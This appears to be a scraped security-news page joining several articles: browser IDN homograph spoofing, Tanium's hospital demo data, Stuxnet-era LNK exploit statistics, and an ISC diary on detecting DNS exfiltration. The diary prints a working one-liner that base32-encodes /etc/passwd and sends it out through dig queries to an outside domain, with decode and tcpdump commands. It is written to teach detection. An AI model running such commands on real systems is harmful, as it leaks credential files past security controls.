Information Security News
If you're using Chrome, Firefox, or Opera to view websites, you should be aware of a weakness that can trick even savvy people into trusting malicious impostor sites that want you to download software or enter your password or credit card data.
The weakness involves the way these browsers display certain characters in the address bar. Until Google released version 58 in the past 24 hours, for instance, Chrome displayed https://www.xn--80ak6aa92e.com/ as https://www.apple.com. The latest versions of Firefox and Opera by default continue to present the same misleading address. As the screenshot above demonstrates, the corresponding website has nothing to do with Apple. Had a malicious attacker registered the underlying xn--80ak6aa92e.com domain, she could have used it to push backdoored software or to trick visitors into divulging passwords or other sensitive information.
Xudong Zheng, a Web application developer who developed the apple.com look-alike site to demonstrate the threat, explained here how the attack works.
by Sean Gallagher
Following a report by The Wall Street Journal that the security vendor Tanium used a hospital's live network as a demonstration platform on sales calls and even revealed private hospital data in a publicly posted demonstration video, Tanium CEO Orion Hindawi has admitted that mistakes were made in handling data from El Camino Hospital's network. Hindawi was vague about whether the company had live access to the network, but in a blog post late yesterday, he said that the data was from "this particular customer's demo environment" and that Tanium did not—and should not—have remote access to customers' security data except in a very few cases where customers had granted access.
[Update, 3:30 pm EDT] Ars has learned from a source familiar with the installation that the company did, in fact, use a connection to El Camino Hospital's on-premises instance of the Tanium web console for demonstrations.The connection would have had to have been provided by El Camino's information technology staff—though it is not clear how far up in the hospital's administration that arrangement was approved, and the arrangement was apparently never documented. Since 2015—about the time Tanium lost access to the El Camino Hospital installation—Tanium has required that these sorts of arrangements be codified in writing.
"We do have a few customers who have agreed for us to use their environments for external demos and have provided that access to us," Hindawi wrote. "Since 2015, we’ve insisted that before a customer is willing to let us demo from their environment, regardless of the access they offer us, we document that in writing and agree on what data we can show to ensure there isn’t any confusion. Other than the few customers who have signed those documents and provided us remote access to their Tanium platforms, we do not—and in fact cannot—demonstrate customer environments with Tanium."
One of the Microsoft Windows vulnerabilities used to spread the Stuxnet worm that targeted Iran remained the most widely exploited software bug in 2015 and 2016 even though the bug was patched years earlier, according to a report published by antivirus provider Kaspersky Lab.
In 2015, 27 percent of Kaspersky users who encountered any sort of exploit were exposed to attacks targeting the critical Windows flaw indexed as CVE-2010-2568. In 2016, the figure dipped to 24.7 percent but still ranked the highest. The code-execution vulnerability is triggered by plugging a booby-trapped USB drive into a vulnerable computer. The second most widespread exploit was designed to gain root access rights to Android phones, with 11 percent in 2015 and 15.6 percent last year.
The Windows vulnerability was first publicly disclosed in July 2010, a few days before security reporter Brian Krebs was the first to report on the Stuxnet outbreak. The bug resided in functions that process so-called .LNK files that Windows uses to display icons when a USB stick is connected to a PC. By hiding malicious code inside the .LNK files, a booby-trapped stick could automatically infect the connected computer even when its autorun feature was turned off. The self-replication and lack of any dependence on a network connection made the vulnerability ideal for infecting air-gapped machines. Microsoft patched the vulnerability in August, 2010.
In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass securitycontrols. DNS tunnelling is a common way to establish connections with remote systems. It is often based on TXT records used to deliver the encoded payload. TXT records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.
Instead of using TXT records, data exfiltration may occur directly via the FQDN (Fully Qualified Domain Name). The RFC 1035 states that a DNS query length is255 characters total with each subdomain being 63 characters or less. By using Base32 encoding, we can encode our data instrings compatible with the DNS requirements: A-Z, 0-9 and - padding:5px 10px"> $ cat /etc/passwd | base32 -w 63 | while read L do dig $L.data.rootshell.be @192.168.254.8 done
Note: the parameter -w 63 padding:5px 10px"> $ grep data.rootshell.be queries.log 20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8) ...
To decode this on the attacker padding:5px 10px"> $ grep data.rootshell.be queries.log | cut -d -f8 | cut -d . -f1| base32 -d | more root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
We don padding:5px 10px"> # tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep A\? .*\.data\.rootshell\.be tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 172.x.x.x.40335 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.35770 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.41463 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.38048 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110) ...
As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularlythe query length. The following graph width:770px" />
But, as usual, not all big DNS queries are suspicious. Some CDNs padding:5px 10px"> hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf
To reduce the risk of false positives, this control can be combined with others:
This technique is not new but comes back regularly in front of the stage. The malware Wekby discovered in 2016 was already using this technique for C2 communications.
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant